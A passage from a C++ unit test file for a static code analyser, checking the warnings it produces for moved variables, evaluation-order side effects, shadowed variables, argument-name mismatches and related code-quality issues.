ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" caseZERO:\\n\"\n \" return 0;\\n\"\n \" case1:\\n\"\n \" return 1;\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning) Label 'caseZERO' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\"\n \"[test.cpp:5:5]: (warning) Label 'case1' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n }\n\n #define checkCustomSettings(...) checkCustomSettings_(__FILE__, __LINE__, __VA_ARGS__)\n void checkCustomSettings_(const char* file, int line, const char code[], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n void checkCustomSettings_(const char* file, int line, const char code[], Settings *s) {\n checkCustomSettings_(file, line, code, true, true, true, false, s);\n }\n\n void testEvaluationOrder() {\n check(\"void f() {\\n\"\n \" int x = dostuff();\\n\"\n \" return x + x++;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n // #7226\n check(\"long int f1(const char *exp) {\\n\"\n \" return strtol(++exp, (char **)&exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:23]: (error) Expression '++exp,exp' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" while (a=x(), a==123) {}\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 8717\n check(\"void f(int argc, char *const argv[]) {\\n\"\n \" char **local_argv = safe_malloc(sizeof (*local_argv));\\n\"\n \" int local_argc = 0;\\n\"\n \" local_argv[local_argc++] = argv[0];\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \" return 0 + x++;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" int a[10];\\n\"\n \" a[x+y] = a[y+x]++;;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:3:10]: (error) Expression 'a[x+y]=a[y+x]++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = ++i + i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (error) Expression '++i+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, ++exp, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\"\n \"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = (~(-(++i)) + i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Expression '~(-(++i))+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n /*const*/ Settings settings11 = settingsBuilder(_settings).cpp(Standards::CPP11).build();\n\n checkCustomSettings(\"void f(int i) {\\n\"\n \" i = i++ + 2;\\n\"\n \"}\", &settings11);\n ASSERT_EQUALS(\"[test.cpp:2:11]: (error) Expression 'i+++2' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSelfAssignment() {\n // self assignment\n check(\"void f() {\\n\"\n \" int x = x = y + 1;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", // duplicate\n errout_str());\n }\n\n void testEvaluationOrderMacro() {\n // macro, don't bailout (#7233)\n checkP(\"#define X x\\n\"\n \"void f(int x) {\\n\"\n \" return x + X++;\\n\"\n \"}\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsFunctionCall() {\n // FP\n check(\"void f(int id) {\\n\"\n \" id = dostuff(id += 42);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // FN\n check(\"void f(int id) {\\n\"\n \" id = id + dostuff(id += 42);\\n\"\n \"}\", false);\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsComma() {\n check(\"int f(void) {\\n\"\n \" int t;\\n\"\n \" return (unsigned char)(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:14]: (error) Expression 't=1,t^c' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff((t=1,t),2);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8230\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (i++, ++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (f(++fp, (*fp) <= 7));\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:18]: (error) Expression '++fp,(*fp)<=7' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSizeof() {\n check(\"void f(char *buf) {\\n\"\n \" dostuff(buf++, sizeof(*buf));\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testUnsignedLessThanZero() {\n check(\"struct d {\\n\"\n \" unsigned n;\\n\"\n \"};\\n\"\n \"void f(void) {\\n\"\n \" struct d d;\\n\"\n \" d.n = 3;\\n\"\n \"\\n\"\n \" if (d.n < 0) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (0 > d.n) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:8:11]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\"\n \"[test.c:12:9]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\",\n errout_str());\n }\n\n void doubleMove1() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization1() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b))\\n\"\n \" {\\n\"\n \" b2 = std::move(b);\\n\"\n \" }\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:24]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization2() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b)),\\n\"\n \" b2(std::move(b))\\n\"\n \" {}\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization3() { // #9974\n check(\"struct A { int i; };\\n\"\n \"struct B { A a1; A a2; };\\n\"\n \"B f() {\\n\"\n \" A a1 = { 1 };\\n\"\n \" A a2 = { 2 };\\n\"\n \" return { .a1 = std::move(a1), .a2 = std::move(a2) };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void doubleMoveMemberInitialization4() { // #11440\n check(\"struct S { void f(int); };\\n\"\n \"struct T {\\n\"\n \" T(int c, S&& d) : c{ c }, d{ std::move(d) } { d.f(c); }\\n\"\n \" int c;\\n\"\n \" S d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:51]: (warning, inconclusive) Access of moved variable 'd'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAssign1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a = g(std::move(a));\\n\"\n \" a = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndAssign2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" B b = g(std::move(a));\\n\"\n \" C c = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAssignMoveAssign() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReset1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndReset2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" A c;\\n\"\n \" b.reset(g(std::move(a)));\\n\"\n \" c.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:25]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveResetMoveReset() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameter() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterReference() {\n check(\"void g(A & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndFunctionParameterConstReference() {\n check(\"void g(A const & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterUnknown() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:5:11]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReturn() {\n check(\"int f(int i) {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" g(std::move(a));\\n\"\n \" if (i)\\n\"\n \" return g(std::move(b));\\n\"\n \" return h(std::move(a),std::move(b));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:24]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndClear() {\n check(\"void f() {\\n\"\n \" V v;\\n\"\n \" g(std::move(v));\\n\"\n \" v.clear();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movedPointer() {\n check(\"void f() {\\n\"\n \" P p;\\n\"\n \" g(std::move(p));\\n\"\n \" x = p->x;\\n\"\n \" y = p->y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\"\n \"[test.cpp:5:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAddressOf() {\n check(\"void f() {\\n\"\n \" std::string s1 = x;\\n\"\n \" std::string s2 = std::move(s1);\\n\"\n \" p = &s1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void partiallyMoved() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" gx(std::move(a).x());\\n\"\n \" gy(std::move(a).y());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndLambda() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" auto h = [a=std::move(a)](){return g(std::move(a));};\"\n \" b = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveInLoop()\n {\n check(\"void g(std::string&& s);\\n\"\n \"void f() {\\n\"\n \" std::string p;\\n\"\n \" while(true)\\n\"\n \" g(std::move(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n\n check(\"std::list g(std::list&&);\\n\"\n \"void f(std::listl) {\\n\"\n \" for(int i = 0; i < 10; ++i) {\\n\"\n \" for (auto &j : g(std::move(l))) { (void)j; }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Variable 'j' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:4:36]: (warning) Access of moved variable 'l'. [accessMoved]\\n\",\n errout_str());\n }\n\n void moveCallback()\n {\n check(\"bool f(std::function&& callback);\\n\"\n \"void func(std::function callback) {\\n\"\n \" if(!f(std::move(callback)))\\n\"\n \" callback();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'callback'. [accessMoved]\\n\", errout_str());\n }\n\n void moveClassVariable()\n {\n check(\"struct B {\\n\"\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override {\\n\"\n \" auto p = std::unique_ptr(new D(std::move(m)));\\n\"\n \" }\\n\"\n \" D(std::unique_ptr c) : m(std::move(c)) {}\\n\"\n \" std::unique_ptr m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void forwardAndUsed() {\n check(\"template\\n\"\n \"void f(T && t) {\\n\"\n \" g(std::forward(t));\\n\"\n \" T s = t;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (warning) Access of forwarded variable 't'. [accessForwarded]\\n\", errout_str());\n }\n\n void moveAndReference() { // #9791\n check(\"void g(std::string&&);\\n\"\n \"void h(const std::string&);\\n\"\n \"void f() {\\n\"\n \" std::string s;\\n\"\n \" const std::string& r = s;\\n\"\n \" g(std::move(s));\\n\"\n \" h(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (warning) Access of moved variable 'r'. [accessMoved]\\n\", errout_str());\n }\n\n void moveForRange()\n {\n check(\"struct C {\\n\"\n \" void f() {\\n\"\n \" for (auto r : mCategory.find(std::move(mWhere))) {}\\n\"\n \" }\\n\"\n \" cif::category mCategory;\\n\"\n \" cif::condition mWhere;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveTernary()\n {\n check(\"void gA(std::string);\\n\" // #12174\n \"void gB(std::string);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" b ? gA(std::move(s)) : gB(std::move(s));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(std::string);\\n\"\n \"int gB(std::string);\\n\"\n \"void h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? gA(std::move(s)) : gB(std::move(s)));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(int, std::string);\\n\"\n \"int gB(int, std::string);\\n\"\n \"int h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? h(gA(5, std::move(s))) : h(gB(7, std::move(s))));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movePointerAlias()\n {\n check(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" std::string s1 = std::move(s);\\n\"\n \" const std::string* s_p = &s;\\n\"\n \" s_p->size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Access of moved variable '.'. [accessMoved]\\n\", errout_str());\n }\n\n void funcArgNamesDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int A, int B, int C) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int a = 0, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int A, int B, int C) { }\\n\"\n \"void Fred::func3(int a, int b, int c) { }\\n\"\n \"void Fred::func4(int A, int B, int C) { }\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:23] -> [test.cpp:4:23]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:30] -> [test.cpp:4:30]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:20] -> [test.cpp:12:22]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:27] -> [test.cpp:12:29]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:34] -> [test.cpp:12:36]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (style, inconclusive) Function 'func4' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:31] -> [test.cpp:14:29]: (style, inconclusive) Function 'func4' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:42] -> [test.cpp:14:36]: (style, inconclusive) Function 'func4' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\", errout_str());\n }\n\n void funcArgOrderDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int c, int b, int a) { }\\n\"\n \"void func3(int, int b, int c);\\n\"\n \"void func3(int c, int b, int a) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int c, int b, int a) { }\\n\"\n \"void Fred::func3(int c, int b, int a) { }\\n\"\n \"void Fred::func4(int c, int b, int a) { }\\n\",\n true, false);\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:5:12] -> [test.cpp:6:16]: (warning) Function 'func3' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:10:20] -> [test.cpp:15:22]: (warning) Function 'func3' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:11:16] -> [test.cpp:16:22]: (warning) Function 'func4' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\", errout_str());\n }\n\n // #7846 - Syntax error when using C++11 braced-initializer in default argument\n void cpp11FunctionArgInit() {\n // syntax error is not expected\n ASSERT_NO_THROW(check(\"\\n void foo(int declaration = {}) {\"\n \"\\n for (int i = 0; i < 10; i++) {}\\n\"\n \"\\n }\"\n \"\\n \"));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void shadowVariables() {\n check(\"int x;\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int x();\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" C(int x) : x(x) {}\\n\" // <- we do not want a FP here\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (cond) {int x;}\\n\" // <- not a shadow variable\n \" int x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int size() {\\n\"\n \" int size;\\n\" // <- not a shadow variable\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #8954 - lambda\n \" int x;\\n\"\n \" auto f = [](){ int x; }\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:1:21]: (style) Local variable 'x' shadows outer argument [shadowArgument]\\n\", errout_str());\n\n check(\"class C { C(); void foo() { static int C = 0; } }\"); // #9195 - shadow constructor\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10091 - shadow destructor\n \" ~C();\\n\"\n \" void f() {\\n\"\n \" bool C{};\\n\"\n \" }\\n\"\n \"};\\n\"\n \"C::~C() = default;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // 10752 - no\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"\\n\"\n \" static int foo() {\\n\"\n \" int i = 0;\\n\"\n \" return i;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" void f() { int i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:20]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" std::vector v;\\n\"\n \" void f() const { for (const int& i : v) {} }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:38]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #10405\n \" F* f{};\\n\"\n \" std::list fl;\\n\"\n \" void S::f() const;\\n\"\n \"};\\n\"\n \"void S::f() const {\\n\"\n \" for (const F& f : fl) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:8] -> [test.cpp:7:19]: (style) Local variable 'f' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"extern int a;\\n\"\n \"int a;\\n\"\n \"static int f(void) {\\n\"\n \" int a;\\n\"\n \" return 0;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:1:12] -> [test.c:4:9]: (style) Local variable 'a' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #12591\n \" int g = 0;\\n\"\n \" return g;\\n\"\n \"}\\n\"\n \"int g() { return 1; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #13888\n \" int i;\\n\"\n \" friend int f() { int i = 5; return i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgument() {\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (style) Argument '(int)((x&0x01)>>7)' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int, int);\\n\"\n \"void f(int x) {\\n\"\n \" g(x, (x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:20]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\",\n errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void h() { return 1; }\\n\"\n \"void f(int x) {\\n\"\n \" g(h());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(std::strlen(\\\"a\\\"));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(Foo *);\\n\"\n \"void f() {\\n\"\n \" g(reinterpret_cast(0));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" x = 0;\\n\"\n \" g(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" const int x = 0;\\n\"\n \" g(x + 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() 